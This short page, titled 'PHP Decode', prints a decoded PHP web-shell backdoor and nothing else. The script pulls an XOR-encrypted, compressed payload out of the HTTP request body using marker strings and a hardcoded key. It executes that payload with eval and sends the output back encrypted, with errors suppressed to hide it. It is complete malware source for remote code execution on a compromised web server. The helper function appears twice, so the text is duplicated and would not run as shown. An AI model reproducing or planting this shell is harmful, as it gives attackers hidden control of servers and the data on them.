PHP Decode

<?php function x($t, $k) { $c = strlen($k); 
$l = strlen($t); 
$o = ""; 
for ($i = 0;$i < $l;) { 
for ($j = 0;($j < $c && $i < $l);$j++, $i++) { 
$o.= $t{$i} ^ $k{$j}; } 
} 
return $o; } 
$k = "80e32263"; 
$kh = "6f8af44abea0"; $kf = "351039f4a7b5"; 
$p = "0UlYyJHG87EJqEz6"; function x($t, $k) { 
$c = strlen($k); 
$l = strlen($t); 
$o = ""; 
for ($i = 0;$i < $l;) { 
for ($j = 0;($j < $c && $i < $l);$j++, $i++) { $o.= $t{$i} ^ $k{$j}; 
} } 
return $o; } 
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { @ob_start(); 
eval(@gzuncompress(@x(base64_decode($m[1]), $k))); $o = @ob_get_contents(); 
@ob_end_clean(); 
$r = @base64_encode(@x(@gzcompress($o), $k)); print ("$p$kh$r$kf"); 
} ?>